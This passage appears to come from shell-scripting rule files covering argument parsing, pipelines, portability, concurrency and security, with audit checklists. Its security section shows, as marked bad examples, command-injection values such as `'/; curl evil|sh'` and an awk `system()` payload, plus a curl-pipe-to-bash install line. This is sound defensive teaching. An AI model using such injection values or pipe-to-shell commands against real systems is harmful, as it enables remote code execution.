            completion signal describes `nohup`/the runner detaching; wait on a sentinel the job
            writes last, and quote it.
      - [ ] `grep -rn '^#!/bin/sh' scripts/`- [ ] `grep -rn '^#!/bin/sh' scripts/` then scan those files for `[[`, arrays, `local -`,
            `${var//`, `pipefail` → bashism-in-sh (SC3xxx series).
      - [ ] **`set -e` believed inside a suspended context**: `set -e`/`set -o errexit`
            re-armed inside a function called from a condition, or `$-` inspected to prove
            errexit is live — both are inert there. Probe: `f() ( set -e; false; echo RAN )`
            called from an `if`; if RAN prints, that whole call tree is unprotected.
      - [ ] Missing preamble: `grep -rLn 'set -euo pipefail\|set -eu' --include='*.sh' .`
      - [ ] SC2086 (unquoted expansion) — treat every instance in a destructive command
            (`rm`, `mv`, `cp`, `chmod`, `chown`, `ssh`, `kill`) as HIGH.
      - [ ] SC2155 — `grep -rn 'local [a-zA-Z_]*=\$(' --include='*.sh'` (masked exit status).
      - [ ] `set -e` false confidence: grep for `if .*&&\|if [a-z_]*;` over functions with
            critical side effects; check `$(...)` in assignments without `inherit_errexit`.
      
    • 02-robustness-correctness.md 19.6 KB
      # 02 — Robustness & Correctness
      
      Interfaces, failure handling, portability, concurrency, idempotency.
      
      ## 1. Argument parsing
      
      Every script ≥ one option gets structured parsing; every script gets `--help`; distributed
      tools get `--version`.
      
      - `getopts` (builtin, POSIX) for short options only — simple, portable, handles clustering
        (`-abc`). It does **not** do long options. Do not use external `getopt` unless you can
        guarantee GNU getopt (`getopt -T`; BSD/macOS getopt is broken for quoting).
      - Manual `while/case` for long options — the SOTA default for nontrivial scripts:
      
      ```bash
      usage() {
        cat <<EOF
      Usage: ${0##*/} [-v] [--region REGION] TARGET
      Deploy TARGET to the given region.
      
        -v, --verbose     verbose output
            --region R    target region (default: ${DEFAULT_REGION})
        -h, --help        show this help
      EOF
      }
      
      verbose=0 region=$DEFAULT_REGION target=""
      while (( $# > 0 )); do
        case $1 in
          -v|--verbose) verbose=1 ;;
          --region)     [[ ${2:-} ]] || die "--region requires a value"; region=$2; shift ;;
          --region=*)   region=${1#*=} ;;
          -h|--help)    usage; exit 0 ;;
          --)           shift; break ;;
          -*)           die "unknown option: $1 (see --help)" ;;
          *)            break ;;
        esac
        shift
      done
      (( $# == 1 )) || { usage >&2; exit 64; }   # EX_USAGE
      target=$1
      ```
      
      Rules: unknown option is an error, never silently ignored; `--` stops option parsing;
      options taking values handle both `--opt val` and `--opt=val` or document which;
      `usage` goes to stdout on `--help` (exit 0), stderr on misuse (exit 64).
      
      ## 2. Input validation
      
      Validate before acting, fail with a message naming the bad value:
      
      ```bash
      [[ $region =~ ^[a-z]{2}-[a-z]+-[0-9]$ ]] || die "invalid region: '$region'"
      [[ -d $src ]] || die "source directory not found: $src"
      [[ $count =~ ^[0-9]+$ ]] || die "count must be a non-negative integer, got: '$count'"
      ```
      
      - Validate *types* of things shell is bad at (numbers, enums, paths) with `[[ =~ ]]` or
        case patterns; reject rather than sanitize.
      - **Validate captured output, not just arguments.** The `=~ ^[0-9]+$` guard above is
        routinely applied to CLI arguments and skipped for values captured from a command —
        where it matters *more*, because a failed command yields an empty or error string that
        silently satisfies **string** comparisons:
      
        ```bash
        # BAD — an empty or error value is != "0", so a failed read reads as "yes"
        n=$(some-cli get thing --format '{{.count}}')
        if [ "$n" != "0" ]; then echo "done"; fi
      
        # GOOD — validate first, compare numerically, give "unreadable" its own branch
        n=$(some-cli get thing --format '{{.count}}' 2>/dev/null) || n=""
        case $n in
          ''|*[!0-9]*) echo "cannot tell" ;;            # NOT the same as zero
          *)           [ "$n" -ge 1 ] && echo "done" ;;
        esac
        ```
      
        **Assert the condition you want, not its negation.** `!= "0"` is satisfied by `""`,
        `error`, `null`, and every usage message a broken invocation prints — verified. For a
        check that runs repeatedly until something completes, "cannot tell" must stay distinct
        from "not yet": `sota-code-security` rules/15 §2.2a.
      - Required environment variables: check up front, all at once, not at first use:
      
      ```bash
      : "${DEPLOY_TOKEN:?DEPLOY_TOKEN must be set}"   # -u-style with custom message
      ```
      
      ## 3. Errors to stderr, exit codes, die()
      
      ```bash
      err() { printf '%s: %s\n' "${0##*/}" "$*" >&2; }
      die() { err "$@"; exit 1; }
      ```
      
      - Every diagnostic to stderr (`>&2`) — stdout is for *output* that callers pipe. A script
        that prints errors to stdout corrupts downstream consumers.
      - Messages carry context: what was attempted, on what object, what the underlying error
        was. `die "failed to upload $artifact to $bucket: $curl_err"` not `die "error"`.
      - Exit codes: 0 success only; 1 generic failure; 2 reserved-ish (bash builtin misuse);
        64–78 BSD sysexits if you want granularity (64 usage, 69 unavailable, 77 permission);
        126/127 (not executable / not found) and 128+N (signal) are shell-reserved — don't
        emit them yourself. Document non-trivial codes in `--help`.
      - Never `exit` from inside a function where the caller might want to continue — `return`
        a status and let the top level decide; `exit` in sourced files kills the caller's shell.
      
      ## 4. Pipelines: pipefail awareness and PIPESTATUS
      
      - `set -o pipefail` makes the pipeline status the rightmost nonzero status. Two follow-ups:
        - **zsh spells it differently and indexes from 1**: `${pipestatus[1]}` is the first
          stage (`${PIPESTATUS[0]}` in bash). `cmd | tail -1; echo $?` reports `tail`'s status
          in both shells — when the exit code is the thing under test, drop the pipe.
        - To know *which* element failed: `"${PIPESTATUS[@]}"` (bash; copy it immediately — any
          next command overwrites it):
      
      ```bash
      dump_db | gzip > "$out"
      status=("${PIPESTATUS[@]}")
      (( status[0] == 0 )) || die "dump failed (${status[0]})"
      (( status[1] == 0 )) || die "gzip failed (${status[1]})"
      ```
      
        - Expected-failure producers break under pipefail: `grep` exits 1 on no match
          (`grep pattern file | wc -l` "fails" on zero matches); a consumer like `head` closing
          early makes the producer die of SIGPIPE (141). Handle deliberately:
      
      ```bash
      matches=$(grep -c pattern file || true)       # no-match is not an error here
      yes | head -n 3                               # SIGPIPE on `yes` → status 141; guard:
      out=$(produce | head -n 3) || (( $? == 141 ))  # accept SIGPIPE only
      ```
      
      - Prefer process substitution over pipes into `while read` — the pipe runs the loop in a
        subshell, so variable updates vanish (SC2031):
      
      ```bash
      # BAD — count is always 0 after the loop
      cmd | while read -r line; do (( ++count )); done
      # GOOD
      while IFS= read -r line; do (( ++count )); done < <(cmd)
      ```
      
      **Name the trade you just made: a process substitution's exit status is unreachable.**
      `$?` reflects the redirection, not the producer; `pipefail` does not apply and
      `inherit_errexit` does not help. A producer that fails yields **zero lines**, so the loop
      completes over an empty set and the function reports success — the vacuous-pass shape
      (`sota-code-security` rules/11), now silent. Measured: a `git rev-list` usage error exits
      **129**, the loop sees nothing, and a coverage check announces "nothing to check" and
      exits 0.
      
      Capture the status explicitly wherever *no output* and *the command failed* mean
      different things:
      
      ```bash
      # GOOD — status captured; empty and failed are distinguished
      local out status=0
      out="$(git rev-list "$range" 2>&1)" || status=$?
      (( status == 0 )) || { printf 'rev-list failed: %s\n' "$out" >&2; return 2; }
      while IFS= read -r line; do [[ -n $line ]] && arr+=("$line"); done <<<"$out"
      ```
      
      Two caveats on that remedy, because it is not free: `$( )` **strips trailing newlines**
      (rules/01 §2) — here `<<<` puts one back, but do not carry the pattern somewhere it
      matters — and it buffers the whole output in memory, which is wrong for an unbounded
      producer. Use bare `< <(cmd)` only where the producer cannot meaningfully fail, or where
      empty and failed are genuinely the same outcome. **Say which, in a comment.**
      
      **`head -1` over unordered output is a coin flip with one side visible in development.**
      Tools that emit *sets* promise no order — `git notes list`, `git for-each-ref` without
      `--sort`, `find`, `ls` on some filesystems, `kubectl get` without sorting. Code that
      takes "the" element is correct while exactly one exists and silently picks wrong
      afterwards. Sort by the field that defines *latest*/*best* and select explicitly, or fail
      when the count is not 1. **Test with two elements, never one** — a single-element fixture
      cannot tell correct selection from arbitrary selection. High when it selects a security
      control's input, where "stale" and "current" then read alike.
      
      ## 5. Portability: bash vs POSIX sh
      
      Decide per script and enforce with the shebang + `shellcheck -s sh`.
      
      - POSIX sh required: busybox/alpine and dash-based containers without bash, initramfs,
        `system()`-invoked snippets, packaging hooks. Then: no arrays (use `set -- args...`
        to reuse positional params), `[ ]` not `[[ ]]`, no `pipefail` (run each stage to a temp
        file or use a fifo/status-file trick), `. file` not `source`, no `${var//}`, no
        `<<<`/`<( )`, `printf` always (dash `echo` interprets escapes).
      - `--` (end of options) is **not universal**. GNU coreutils accept it nearly everywhere;
        BSD/macOS `chmod` does not — `chmod 700 -- dir` fails with `chmod: --: No such file or
        directory`, which names the wrong thing and reads as a path bug. Adjacent calls mislead
        further: `mkdir -p -- dir` succeeds on the same system (both verified on macOS
        2026-08-26). Where the path is a literal you control, drop the `--`; where it is
        untrusted, prefer `./"$path"` for a relative path — portable, and it defeats
        leading-dash injection without depending on the flag. (`sota-golang` rules/05 already
        hedges this as "where the tool supports it"; it was unreachable from a shell task.)
      - bash-targeted: use bash properly (arrays, `[[ ]]`, `mapfile`) — half-POSIX bash is the
        worst of both. But remember macOS = bash 3.2: no associative arrays, no `mapfile`, no
        `${var,,}`, no `inherit_errexit`. If macOS devs run the script, either stay 3.2-clean
        or version-check (rules/01 §1). CI containers: confirm bash exists
        (`docker run image which bash`) before writing `#!/usr/bin/env bash` entrypoints —
        alpine base images have only busybox ash unless bash is installed.
      
      ## 6. Command existence and invocation
      
      - `command -v tool >/dev/null 2>&1 || die "tool is required"` — never `which` (SC2230:
        external, non-portable output and exit codes).
      - Check all dependencies up front in one place:
      
      ```bash
      for cmd in jq curl flock; do
        command -v "$cmd" >/dev/null 2>&1 || die "missing required command: $cmd"
      done
      ```
      
      - Don't hardcode tool paths except in privileged scripts with a sanitized PATH (rules/03).
      
      ### A missing tool is a decision, not automatically a failure
      
      `|| die` above is right for a tool the script cannot be correct without. It is wrong
      for everything else, and the difference matters most in **gates and checks**, where
      "the tool isn't installed" must never be reported as "the check passed".
      
      Classify each dependency once, and make the behaviour match:
      
      | The tool is… | Do | Never |
      |---|---|---|
      | **required for correctness** (the script's whole job) | `die` with the install command for this platform | proceed with a degraded result |
      | **required for one check** inside a larger run | run the rest, **SKIP that check with a named note** — `SKIPPED: python3 not found (CI enforces this check)` — and make the skip visible in the summary | print `ok`, or count the skip as a pass |
      | **optional / an enhancement** | proceed, note the reduced capability once | fail the run |
      | **missing on an interactive run** | **stop and ask the human to install it**, naming the exact command, then continue or exit on their answer | silently install it, or `sudo` anything unasked |
      
      ```bash
      need() {  # need <cmd> <what it is for> <install hint>
        command -v "$1" >/dev/null 2>&1 && return 0
        if [ -t 0 ] && [ -t 1 ]; then          # a human is present: ask, do not guess
          printf 'Missing %s (needed for %s). Install with: %s\n' "$1" "$2" "$3" >&2
          printf 'Install it now and press Enter to continue, or Ctrl-C to abort: ' >&2
          read -r _
          command -v "$1" >/dev/null 2>&1 && return 0
        fi
        return 1
      }
      
      need shellcheck "shell linting" "brew install shellcheck" \
        || note "SKIPPED: shellcheck not found — shell lint did not run"
      ```
      
      Two rules that make this safe rather than sloppy:
      
      - **A skipped check is not a passed check.** Print the skip on the same line the check
        would have used, count skips separately, and never let the summary read clean when a
        check did not execute (`sota-code-security` rules/14 §4 — a control that never runs).
        This repo does exactly that: four invariants print `SKIPPED: python3 not found` and CI,
        where python3 always exists, enforces them for real.
      - **Never auto-install.** Installing software is a change to the user's machine; on a
        non-interactive run there is no one to consent, so degrade or fail loudly instead.
        Ask, print the command, and let the human run it — a script that quietly installs a
        package manager's worth of dependencies is a supply-chain event, not a convenience.
      
      ## 7. Network calls: timeouts and bounded retries
      
      A network call without a timeout is a hang waiting to happen; without retry discipline it
      is flaky CI.
      
      ```bash
      # GOOD — fail on HTTP errors, bound total time, retry transient failures with backoff
      curl --fail --silent --show-error --location \
           --connect-timeout 5 --max-time 60 \
           --retry 3 --retry-delay 2 --retry-all-errors \
           -o "$tmpfile" -- "$url" || die "download failed: $url"
      ```
      
      - `--fail` (or `--fail-with-body` when you need the error payload): otherwise curl exits 0
        on HTTP 500 and you process an error page as data.
      - `--max-time` always; `--retry-all-errors` only for idempotent GETs — never blind-retry
        POSTs that aren't idempotent.
      - Non-curl commands: wrap with `timeout 60 cmd ...` (coreutils). Generic retry wrapper:
      
      ```bash
      retry() { # retry N CMD...
        local -i n=$1 i; shift
        for (( i = 1; i <= n; i++ )); do
          "$@" && return 0
          (( i < n )) && { err "attempt $i/$n failed: $*; retrying"; sleep $(( i * 2 )); }
        done
        return 1
      }
      ```
      
      ## 8. Concurrency: flock, background jobs, wait
      
      - Concurrent invocation (cron + manual run, parallel CI jobs) corrupts state. Mutual
        exclusion via `flock` on Linux:
      
      ```bash
      exec 9>"/var/lock/${0##*/}.lock"
      flock -n 9 || die "another instance is running"
      # lock held for the life of fd 9 (process lifetime); released automatically on exit/crash
      ```
      
        Never the `[ -f pidfile ]` dance — it races and leaks stale locks. macOS lacks `flock(1)`;
        use `mkdir`-as-lock (atomic) with trap cleanup if portable locking is needed.
      - Background jobs: every `&` is owned — record the PID, `wait` on it, check its status.
      
      ```bash
      # GOOD — bounded parallelism with per-job status (bash ≥4.3 wait -n; 5.1 adds -p)
      pids=()
      for host in "${hosts[@]}"; do
        deploy_one "$host" & pids+=($!)
      done
      fail=0
      for pid in "${pids[@]}"; do
        wait "$pid" || { fail=1; err "job $pid failed"; }
      done
      (( fail == 0 )) || die "one or more deploys failed"
      ```
      
      - Plain `wait` with no args returns 0 regardless of children's failures (pre-5.x semantics
        vary) — always wait per-PID when status matters. Never leave an unmanaged `&` (orphaned
        work continues after the script "succeeds" or dies).
      - For real parallel fan-out with output grouping, prefer `xargs -P` or GNU parallel over
        hand-rolled job pools.
      
      ## 9. Idempotency and atomic writes
      
      Scripts get re-run: after partial failure, by retries, by impatient operators. Design for it.
      
      - Check-before-create, tolerate already-done:
      
      ```bash
      mkdir -p -- "$dir"                       # not mkdir (fails if exists)
      [[ -L $link ]] || ln -s -- "$target" "$link"
      grep -qxF "$line" "$file" || printf '%s\n' "$line" >> "$file"
      ```
      
      - **"Append" to a keyed store is an upsert.** Where the key comes from content or context
        rather than from the record — a commit SHA, a request id, a date bucket — running twice
        does not append twice, it **overwrites** (`git notes add -f`, `PUT`, `kubectl apply`).
        If records are *linked* (hash chain, sequence numbers, prev-pointers) the overwrite
        silently deletes the link target, and the corruption arrives from the ordinary act of
        re-running. Detect an existing record for the same key **and** the same content and
        return success without writing. **Test the second run, not just the first** — re-running
        is the common path in any hook, retry or CI re-trigger.
      - **Atomic writes via mv**: never write a config/output file in place — a crash mid-write
        leaves a torn file that consumers read.
      
      ```bash
      tmp=$(mktemp -- "${out}.XXXXXX")         # same directory → same filesystem → mv is atomic rename
      generate > "$tmp"
      chmod 0644 -- "$tmp"                     # mktemp creates 0600; fix perms before publishing
      mv -f -- "$tmp" "$out"
      ```
      
      - Downloads: download to temp, verify (checksum, `--fail` already ensured non-error body),
        then `mv` into place. Never let a consumer see a half-downloaded artifact.
      - Deletions/migrations: make them no-ops on second run (`rm -f`, guarded `ALTER`s via the
        real tool, not shell).
      
      ## 10. Filenames are hostile input
      
      Filenames may contain spaces, newlines, leading `-`, glob chars, non-UTF-8 bytes.
      
      ```bash
      # BAD — splits on whitespace, breaks on newlines, -dashfile becomes an option
      for f in $(find . -name '*.log'); do rm $f; done
      
      # GOOD — NUL-delimited end to end
      find . -name '*.log' -print0 | xargs -0 rm -f --
      # or no pipe at all:
      find . -name '*.log' -exec rm -f -- {} +
      # or into an array (bash ≥4.4):
      mapfile -d '' logs < <(find . -name '*.log' -print0)
      ```
      
      - `--` before any operand that comes from a variable/glob, for every command that supports
        it (`rm`, `cp`, `mv`, `grep`, `git checkout`, ...). For commands without `--`, prefix
        relative paths: `rm "./$f"`.
      - `while IFS= read -r -d '' f` to consume `-print0` streams in-loop.
      - Never embed filenames in command strings passed to `ssh`/`bash -c` without proper
        quoting — use `printf '%q'` (bash) or pass as positional args to a remote script.
      
      ## Audit checklist
      
      - [ ] **Missing-tool behaviour classified**: does every `command -v` failure `die`,
            skip-with-a-named-note, or ask an interactive human — and does the summary ever
            read clean while a check did not execute? Probe:
            `PATH=/usr/bin:/bin <script>` with a dependency removed, and confirm the run
            reports a SKIP rather than an `ok`. No script may auto-install a dependency.
      - [ ] **Process substitution with a fallible producer**: `grep -rn '< <(' --include='*.sh'`
            — for each, can the producer fail? If yes and the status is not captured, a failure
            is indistinguishable from an empty result. High when the loop's emptiness decides a
            pass/fail verdict.
      - [ ] **Arbitrary selection**: `grep -rnE '\|\s*head -1|\| head -n ?1' --include='*.sh'`
            over set-emitting commands with no `--sort`/`sort`. Confirm a two-element fixture
            exists; a one-element test cannot fail.
      - [ ] **Second-run safety**: re-run the script on unchanged inputs and diff the store.
            Any write keyed by commit/id/date must be an upsert that preserves linked records.
      - [ ] No `--help`: `grep -rLn -- '--help\|-h)' --include='*.sh'` → MEDIUM for any operator-facing script.
      - [ ] Unknown options silently ignored: `case` parse loops missing a `-*)` error arm.
      - [ ] SC2230 — `grep -rn 'which ' --include='*.sh'` → replace with `command -v`.
      - [ ] Errors to stdout: `grep -rn 'echo.*[Ee]rror\|echo.*[Ff]ail' --include='*.sh'` lacking `>&2`.
      - [ ] `exit 0` at end of failure paths; functions calling `exit` where `return` is right.
      - [ ] Bare curl/wget: `grep -rn 'curl ' --include='*.sh' | grep -v -- '--max-time\|--fail'`
            → MEDIUM (no timeout) / HIGH if output is piped to a shell or parsed as data.
      - [ ] Retries on non-idempotent operations (`--retry` + POST) → HIGH.
      - [ ] SC2031/SC2030 — `| while read` subshell variable loss.
      - [ ] Pipeline status ignored where producer matters and no `pipefail`/PIPESTATUS check.
      - [ ] Lock discipline: cron-invoked or deploy scripts without `flock`/lock dir → MEDIUM;
            pidfile-based locks → MEDIUM (racy).
      - [ ] Unmanaged `&`: `grep -rn ' &$' --include='*.sh'` without matching `wait` on PID.
      - [ ] In-place writes of consumed files: `grep -rn '> */etc/\|> *.*\.conf' --include='*.sh'`
            without mktemp+mv → HIGH for configs read by daemons.
      - [ ] `for .* in \$(find\|in \$(ls` and `xargs` without `-0` paired with `-print0` → HIGH
            in destructive contexts (SC2044, SC2011).
      - [ ] Missing `--` before variable operands of `rm/mv/cp/chown/chmod/git`.
      - [ ] Bashisms in `#!/bin/sh` files destined for alpine/busybox images (cross-check
            Dockerfiles for base image).
      
    • 03-security.md 17.7 KB
      # 03 — Security
      
      Injection, secrets, privilege, supply chain, and the tooling gate. Severity here skews
      CRITICAL/HIGH — shell runs with the operator's full authority.
      
      ## 1. eval and command injection
      
      `eval` on anything derived from input (args, env, file contents, API responses) is
      arbitrary code execution. So are its cousins: `bash -c "$str"`, `sh -c "$str"`,
      `ssh host "$str"`, `su -c`, `watch "$str"`, `find -exec sh -c "$str"`, awk `system()`,
      unquoted heredoc bodies fed to a shell.
      
      ```bash
      # CRITICAL — filename/branch/issue-title chosen by user executes code
      eval "git checkout $branch"
      bash -c "process $file"
      ssh "$host" "rm -rf $dir"            # remote shell re-parses; $dir='/; curl evil|sh'
      
      # GOOD — no re-parsing: pass data as arguments, not code
      git checkout -- "$branch"
      process "$file"
      ssh "$host" -- rm -rf "$(printf '%q' "$dir")"   # %q-escape anything entering a remote shell
      # better: scp a script and run it, or use ssh host 'cat | bash' with a heredoc of CODE ONLY
      ```
      
      - Indirection without eval: `${!varname}` (bash), `declare -n` nameref, associative-array
        dispatch `"${handlers[$key]}"` with a validated key — never `eval "$cmd_string"`.
      - Variables expanded inside `awk`/`sed`/`jq` *programs* are injection too:
        `awk "{print \$$col}"` with col='1; system("...")'. Pass data via `awk -v`,
        `jq --arg`, `sed` with validated patterns.
      - Anything matching `$(...)` or backticks inside user-controlled strings that later get
        expanded in double quotes by `eval`/`envsubst`-like flows is the same bug.
      
      ## 2. Secrets discipline
      
      Three leak channels: **argv** (visible in `ps`/`/proc/*/cmdline` to all users), **environment
      dumps** (`env` in logs, crash handlers, CI debug, `/proc/*/environ`), **trace output**
      (`set -x` prints expanded values).
      
      ```bash
      # CRITICAL — expanded values land in argv, visible to every local user via ps
      curl -H "Authorization: Bearer $TOKEN" https://api.example.com
      mysql -u app -p"$DB_PASS"
      
      # GOOD — secrets via file or stdin/fd, never argv
      curl --config - <<EOF
      header = "Authorization: Bearer $TOKEN"
      EOF
      # or: curl -H @"$header_file"
      mysql --defaults-extra-file="$cnf_with_password"
      
      # GOOD — read from a secrets file/manager at runtime
      TOKEN=$(<"$CREDENTIALS_DIR/token")    # file mode 0600, never committed
      ```
      
      - `set -x`/`bash -x` prints every expansion. Bracket sensitive sections:
      
      ```bash
      set +x   # SECRETS BELOW — do not trace
      auth_header="Authorization: Bearer $(<"$token_file")"
      set -x
      ```
      
        Better: keep `set -x` behind a debug flag and structure code so secrets never pass
        through traced lines (files/fds end to end).
      - Never `env`, `printenv`, `set`, or `declare -p` into logs in scripts that may hold
        secrets in env. Never echo secrets even "masked" — write "loaded credentials from X".
      - CI: rely on the CI's secret masking but don't trust it — masking fails on transformed
        values (base64, URL-encoded). Don't `base64` a secret into logs.
      - Storage/rotation strategy → `sota-secrets-management`.
      
      ### 2a. An assignment prefix does not reach a process substitution
      
      The idiom for keeping a secret out of `ps` is to pass it in the environment rather than in
      argv. It has a hole exactly where a helper produces the secret, and the failure is silent —
      the helper runs, the command succeeds, and the value it needed was never set.
      
      The shell sets up `<(helper)` **before** running the command, and an assignment prefix
      applies only to *that command's* environment. So the helper is not a child of the command
      carrying the variable:
      
      ```console
      $ MY_VAR=secret cat <(./show-my-var)     # MY_VAR=UNSET   <- the helper never sees it
      $ MY_VAR=secret ./show-my-var            # MY_VAR=secret  <- control: prefixes do work
      $ ( export MY_VAR=secret; ./show-my-var )  # MY_VAR=secret
      ```
      
      Measured 2026-09-13 in **bash and zsh alike** — the control line is what makes the first
      result evidence rather than a broken helper. It bites hardest when the variable *is the whole
      point*: `VAR=token curl --data @<(build-body)` sends a body built without the token, and
      `curl` still exits 0.
      
      - **Export in a subshell and redirect to a file**, or use a pipe — both put the helper in the
        environment's scope: `( export TOKEN=…; build-body ) > body.json`.
      - **Do not reach for `env VAR=… cmd`** as the fix: it puts the value back into `env`'s own
        argv, which is the exposure the idiom existed to avoid.
      - **A helper that silently produced an unauthenticated result is the failure mode** — have it
        fail loudly on a missing variable (`: "${TOKEN:?TOKEN not set}"`) rather than emit a body
        without it.
      
      ## 3. PATH hygiene and privileged scripts
      
      Any script running as root (cron, sudo, init, setuid wrappers' children) must not trust
      the inherited environment:
      
      ```bash
      # top of privileged scripts
      PATH=/usr/sbin:/usr/bin:/sbin:/bin
      export PATH
      umask 077
      unset IFS CDPATH ENV BASH_ENV GLOBIGNORE LD_PRELOAD LD_LIBRARY_PATH
      ```
      
      - Attack: attacker-writable dir earlier in PATH (or `.` in PATH) shadows `tar`, `service`,
        etc. Root cron with inherited PATH = privilege escalation.
      - `CDPATH` makes bare `cd dir` jump to unexpected locations — unset it in all scripts
        (or always `cd ./dir`); check every `cd` (`cd "$dir" || die ...` — under `set -e` a
        failed `cd` in a condition context still proceeds).
      - Never execute relative commands from a CWD you don't control; never `source` files
        writable by less-privileged users.
      
      ### 3a. The wrapper that shadows what it calls
      
      §3 above is the attacker's version: a directory *they* control, early in `PATH`, shadowing
      a command *you* call. The mirror is not adversarial and is far easier to ship by accident:
      **a directory you control, holding a file you wrote, that shadows a command your own file
      calls.**
      
      **Rule: inside an interceptor, never invoke a name the interceptor's own namespace can
      resolve back to itself.**
      
      Three namespaces, one bug — but **two different failure modes**, and the difference decides
      whether you find out safely (all measured 2026-09-10 on macOS):
      
      | namespace | recursion bound | what you see |
      |---|---|---|
      | **`PATH` shims** — a dir of fake/wrapping executables placed first on `PATH` (test harnesses, compiler caches, CI interceptors) | **none of any kind** | each level is a new **process**: the per-user process table fills, and every tool fails at once, *including the ones you need to diagnose it* (`rules/08` §4) |
      | **shell function overrides** — `curl() { … curl "$@"; }` in a profile; the inner `curl` resolves to the function again | bash: `FUNCNEST`, **unset by default** → `f(){ f; }; f` exits **139 (SIGSEGV)**. zsh: `FUNCNEST` defaults to **700** → clean `maximum nested function level reached`, exit 1 | one process, dying as a crash or an error |
      | **aliases and `LD_PRELOAD`** | none | same shape as the shim: a new process per level |
      
      **The trap in that table is that the middle row is the one you will try first.** A function
      override blows up immediately and locally, which reads as "the shell protects me from this
      mistake". It does not: the same mistake in a `PATH` shim has no bound at all, takes the
      whole machine's process table, and `bash`'s own protection for the case that *is* bounded is
      **off unless you set it**.
      
      **Safe forms:**
      
      - use only **builtins** and parameter expansion inside the wrapper — prefix strip, `case`,
        `test` — and call nothing external at all;
      - or call the real binary by **absolute path**, resolved once when the wrapper is generated,
        never by bare name;
      - or drop the shim directory from `PATH` for the inner call:
        `PATH=$ORIG_PATH command sed …`;
      - in shell functions use `command foo` / `builtin foo`, never bare `foo` (verified:
        `echo(){ builtin echo "WRAPPED: $*"; }` terminates and prints once).
      
      **The review question, which is what makes this checkable:** *for every command this wrapper
      invokes, is that name also present in the directory the wrapper lives in — or in any
      namespace this wrapper installs into?*
      
      **Two diagnostic notes, because this failure fights back.**
      
      `pkill` cannot win a race against a live respawner — field-measured counts went **429 →
      1,276 while killing**. Killing the children of an active spawner is theatre. Group by parent
      (`ps -axo ppid=,comm=`) and neutralise *that*. **Sequential PIDs with one child each is the
      signature of a recursion**; a pool is one parent with many children.
      
      And **do not accept blame for a system-level symptom before checking parentage.** In the
      incident above, many backgrounded wait loops had been started in the same hour, so that
      story fit — and was written up as fact — before any `ps` showed a parent. The processes were
      `/bin/sh` running the shim; the wait loops would have been `zsh`, `sleep` and `pgrep`. One
      `ps -axo pid=,ppid=,command=` separates them. **A plausible culprit you already have in mind
      is exactly when to demand the evidence, not when to skip it** — and note that the evidence
      here was already in hand and misread: `/bin/sh` was never consistent with a `zsh` wait loop.
      
      **Generating a wrapper from a template has two escaping layers.** The warning comment written
      to prevent a repeat of this bug contained `${a#@}`; the template was rendered with Python's
      `str.format`, which reads `{a#@}` as a format field and raises `KeyError: 'a#@'` (verified —
      it fails identically inside a `#` comment, because the outer layer has no idea what a shell
      comment is). Double the braces or use a templating step that does not scan comments.
      
      ## 4. sudo discipline
      
      - Scripts should not contain blanket `sudo`. If elevation is needed, either (a) require
        the *whole script* to run as root and check it:
      
      ```bash
      (( EUID == 0 )) || die "must run as root (try: sudo $0)"
      ```
      
        or (b) sudo *specific, full-path* commands, and document the needed sudoers entries:
      
      ```
      deploy ALL=(root) NOPASSWD: /usr/bin/systemctl restart myapp, /usr/bin/install -m644 * /etc/myapp/*
      ```
      
      - Never `sudo $cmd` with variable command (injection + sudoers bypass), never
        `echo "$pass" | sudo -S` (secret in argv/pipe + defeats auth design).
      - Beware `sudo cmd > file`: the redirect happens in the *unprivileged* shell. Use
        `... | sudo tee file >/dev/null` or `sudo sh -c '... > file'` with a constant string.
      - Drop privileges as early as possible; in containers prefer entrypoint-level drop
        (rules/04 §2) over sudo at all.
      
      ## 5. curl | bash — both directions
      
      **Consuming** (you install third-party software):
      
      ```bash
      # CRITICAL in production paths — executes whatever the server (or MITM, or compromised
      # bucket) returns; partial download can execute a truncated script
      curl -s https://example.com/install.sh | bash
      ```
      
      Download → verify → execute, with pinned checksum (or signature) committed to your repo:
      
      ```bash
      readonly url="https://github.com/org/tool/releases/download/v1.2.3/tool-linux-amd64"
      readonly sha256="4f5e...committed-constant..."
      tmp=$(mktemp)
      curl --fail --silent --show-error --location --max-time 120 -o "$tmp" -- "$url"
      printf '%s  %s\n' "$sha256" "$tmp" | sha256sum -c - || die "checksum mismatch for $url"
      install -m 0755 -- "$tmp" /usr/local/bin/tool
      ```
      
      Pin versions (never `/latest/`); for higher assurance verify signatures
      (`gpg --verify`, cosign/minisign) not just checksums fetched from the same origin.
      
      **Publishing** (you ship an install script): provide versioned artifacts + a checksums
      file signed or served from a separate trust path; make the script safe under truncation
      by wrapping everything in a function called on the last line:
      
      ```bash
      main() { ...all logic...; }
      main "$@"   # nothing executes until fully downloaded and parsed
      ```
      
      ## 6. Temp file races and umask
      
      - Predictable temp paths (`/tmp/myapp.$$`, `/tmp/build.tmp`) → symlink attack: attacker
        pre-creates a symlink at that path, your root script writes through it onto
        `/etc/passwd`. **Only `mktemp`** (unpredictable name, `O_EXCL`, mode 0600) — already
        required by rules/01 §6; here it is a security control, not hygiene.
      - Don't `chmod` a file *after* writing sensitive content — create restrictive, then write:
        `umask 077` before creating key material, or `install -m 0600 /dev/null "$f"` then write.
      - Set `umask` explicitly in scripts that create files whose permissions matter; inherited
        umask is whatever the caller had. `umask 022` for world-readable artifacts, `077` for
        private state. Remember rules/02 §9: mktemp files are 0600 — explicitly `chmod` before
        publishing world-readable artifacts via `mv`.
      - Shared directories: never trust pre-existing files/dirs in `/tmp`; `mktemp -d` and work
        inside it.
      
      ## 7. ShellCheck + shfmt in CI — non-negotiable
      
      Current as of mid-2026: ShellCheck v0.11.0 (Aug 2025), shfmt v3.13.x (zsh-aware).
      Both are single static binaries; there is no excuse for a repo with shell scripts and no
      shell linting.
      
      ```yaml
      # CI job (any system) — fail the build on findings
      - run: |
          shellcheck --severity=style --external-sources $(git ls-files '*.sh' '*.bash')
          shfmt -d -i 2 -ci .          # -i 2 is an EXAMPLE — indent width is the repo's to set
      ```
      
      **Verifying a gate locally is a different question, and another skill owns it:**
      `sota-devsecops` rules/09 §5 — *reproduce the gate's exact invocation, not an equivalent*.
      Worth the jump from here, because the shell-shaped version of that mistake is expensive:
      `-i 2` above is an example, and in a repo that indents shell with **4** spaces a contributor
      who copies it verbatim does not just get a false failure — `shfmt` is usually run with `-w`
      somewhere nearby, so it **reformats every shell file in the tree**.
      
      **And `--severity=style` is not fussiness — a style finding can be a live defect.** SC2006
      ("use `$(...)` instead of backticks") is classed *style*, and it has flagged backticks
      written inside an unquoted `cat <<USAGE` heredoc, where they are **live command
